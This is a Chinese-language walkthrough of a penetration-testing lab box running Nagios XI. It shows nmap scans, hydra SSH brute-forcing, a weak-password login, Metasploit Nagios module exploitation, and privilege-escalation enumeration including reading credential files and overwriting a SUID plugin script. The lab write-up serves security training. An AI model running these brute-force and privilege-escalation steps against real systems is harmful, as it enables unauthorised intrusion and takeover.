getwebshell
: 登录处的最佳实践(弱口令)进入后台 → msf
历史漏洞利用
提 权 思 路
: 发现suid
的check
文件 → msf
之check
插件漏洞利用
192.168.45.191
192.168.179.136
sudo nmap --min-rate 10000 -p- 192.168.179.136
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
389/tcp open ldap
443/tcp open https
5667/tcp open unknown
开放的端口-→22,25,80,389,443,5667
# tcp探测
sudo nmap -sT -sV -O -sC -p22,25,80,389,443,5667 192.168.179.136
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
5667/tcp open tcpwrapped
这样看的话开放的端口是挺多的
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
# 搜索对应脚本
msf6 → searchsploit OpenSSH 7.2p2
发现搜索到可利用的和用户枚举有关(待定)
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root @192.168.179.136 -v
显示publickey
、password
就是支持密钥以及密码登录
因为支持密码登录,尝试root
账户的密码弱密码尝试
┌──(root㉿Kali)-[/home/bachang/Monitoring]
└─# sudo ssh root @192.168.179.136 -p 22
root @192.168.179.136's password: root
Permission denied, please try again.
弱密码尝试失败
因为支持密码登录,尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.179.136 ssh -s 22
挂着工具进行爆破,我们尝试后续信息收集
25/tcp open smtp Postfix smtpd
该端口接触较少,先待定,和邮件有关
访问 http://192.168.179.136:80
看上去是一个标准的CMS
戳了一下Access Nagios XI
跳转到了登录窗口
┌──(root㉿Kali)-[/home/bachang/Monitoring]
└─# whatweb http://192.168.179.136:80
http://192.168.179.136:80 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.179.136], JQuery[3.3.1], Script[text/javascript], Title[Nagios XI]
CMS
是Nagios XI
searchsploit Nagios XI
总体来说利用是需要版本的,前面一些不需要版本,尝试直接使用
msf6 → search Nagios XI
use 3
选择了较新且rank
好的,查看了一下发现是需要密码的
# 包括文章中是否写明一些敏感信息
curl http://192.168.179.136:80
dirsearch -u http://192.168.179.136:80 -x 302,403
在目录扫描的同时其实在思考这应该是一个标准的CMS,是否会存在通用脆弱口令的情况(MSF的利用需要密码)。
cms
的登录凭证
得到账户以及密码 nagiosadmin
:nagios
登录之后发现不正确
nagiosadmin
的弱口令密码,主要测试123456 # 数字序列
123456789 # 数字序列
987654321 # 数字序列
admin # 字典词汇
password # 字典词汇
root # 字典词汇
111111 # 重复字符
aaaaaa # 重复字符
abcdefg # 键盘连续字符
qwertyuiop # 键盘连续字符
在测试的过程中,发现利用admin
进入了后台
得到版本信息Nagios XI 5.6.0
既然知道了密码admin
尝试利用之前的msf
提示版本错误,那重新搜索吧
msf6 → search Nagios XI 5.6.0
发现只有一个,尝试利用
设置完信息之后进行运行,连接成功但是没有创建会话
决定换个payloads
进行尝试,发现能成功连接但是运行不成功,可能是该exp
不行
msf6 → search Nagios
发现了多个,根据内容进行筛选
总感觉大部分都能用,但是3和4用了都不太行,决定用退求其次
在这里10和11中选择了11进行尝试
成功getwebshell
# 利用python获取交互shell
python -c "import pty;pty.spawn('/bin/bash')";
find / -name local.txt 2→/dev/null
提权的本质在于枚举
,在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
较老的Ubuntu
以及Linux系统可以overlayfs
提权
# 确定发行版本
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.7 LTS
Release: 16.04
Codename: xenial
发行版本为Ubuntu
,不太能overlayfs
提权
较低的内核版本可以进行脏牛
提权
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ uname -a
Linux ubuntu 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
内核版本为4.4.0
查找具有sudo
权限,且不需要密码的可提权文件
如果发现sudo -l
有东西的话 访问 https://gtfobins.github.io
寻找
# 利用sudo -l寻找
sudo -l
使用的时候需要密码 唔
如果发现u=s
有东西的话 访问 https://gtfobins.github.io
寻找
# -perm 文件权限
find / -perm -u=s -type f 2→/dev/null
如果/etc/passwd
具有写入权限可以尝试覆盖密码提权
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1985 Sep 8 2020 /etc/passwd
/etc/shadow
具有写入权限可以尝试覆盖密码提权/etc/shadow
具有可读权限可以爆破密码www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /etc/shadow
ls -al /etc/shadow
-rw-r----- 1 root shadow 1244 Mar 23 2021 /etc/shadow
www-data @ubuntu:/usr/local/nagiosxi/html/admin$
高版本下suid
列举不全,查看getcap
# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2→/dev/null
# 无
查找所有的定时任务,并且查看定时任务是否具有修改权限
# 寻找定时任务并修改进行提权
cat /etc/crontab
可能用户留下的历史信息具有有用的信息
history
无信息
/home
目录下的用户可以做账号字典尝试弱密码
以及爆破
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /home
total 12
drwxr-xr-x 2 coconut coconut 4096 Mar 23 2021 coconut
# 例如.ssh找密码 ./*_history找历史记录等
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /home/coconut
lrwxrwxrwx 1 root root 9 Jan 28 2021 .bash_history -→ /dev/null
-rw-r--r-- 1 coconut coconut 220 Sep 8 2020 .bash_logout
-rw-r--r-- 1 coconut coconut 3771 Sep 8 2020 .bashrc
-rw-r--r-- 1 coconut coconut 655 Sep 8 2020 .profile
尝试弱密码无效,准备利用hyrda
尝试
# -P 指定密码字典
hydra -l coconut -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.179.136 ssh -s 22
在爆破的过程中研究一下suid
文件
尝试写入恶意内容进行利用
echo'#!/bin/sh
chmod +s /usr/bin/find' → /usr/local/nagios/libexec/check_dhcp
写入之后发现再用find
查阅不是suid
了
收集了半天,却没发现什么有用的内容,真有意思
这时候就是努力学习的过程,参考了网上的wp
,他们用了msf
中的第10个
而我用了第11个
这时候灵光一闪,理解了为什么用10是直接root
权限,这也是全网都没人写的
回到suid
权限文件收集,可以发现了利用check
是直接root
的,那么rce
也是直接root
的
search Nagios
use 10
经过了一系列的设置之后run
提权成功
cat /root/proof.txt
0559c8f500a23ba2628189a1b06b557f
完结撒花~
在利用msf
搜索的时候,有时候不能太精确的搜索版本
在内网中细节还是要注意,虽然我之前看到了suid
的check_icmp
,没有利用成功,可以考虑从外部尝试
find suid
都要试试看先比较好
发现
# 才知道是可以这样执行的
sudo /usr/bin/php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php *
# 不过查看了一下权限,只能读
ls -al /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php
-r-xr-x--- 1 root nagios 177241 Sep 8 2020 /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php